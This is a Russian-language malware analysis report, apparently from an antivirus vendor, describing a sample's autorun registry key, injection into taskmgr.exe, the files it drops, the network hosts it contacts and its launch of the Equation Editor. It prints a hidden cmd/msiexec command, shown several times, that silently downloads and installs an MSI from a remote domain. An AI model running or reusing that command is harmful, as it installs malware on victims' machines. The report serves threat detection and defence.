Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'Startup key' = '%HOMEPATH%\subfolder1\taskmgr.vbs'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i https://cheapjerseysangels.com/turlou.msi /quiet
Внедряет код в
следующие пользовательские процессы:
- taskmgr.exe
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\subfolder1\taskmgr.exe
- %HOMEPATH%\subfolder1\taskmgr.vbs
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
Сетевая активность
TCP
- 'ch#####rseysangels.com':443
- 'co###pt4u.co.il':443
UDP
- DNS ASK ch#####rseysangels.com
- DNS ASK co###pt4u.co.il
Другое
Создает и запускает на исполнение
- '%WINDIR%\installer\msi29cf.tmp'
- '%HOMEPATH%\subfolder1\taskmgr.exe'
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i https://cheapjerseysangels.com/turlou.msi /quiet' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i https://cheapjerseysangels.com/turlou.msi /quiet
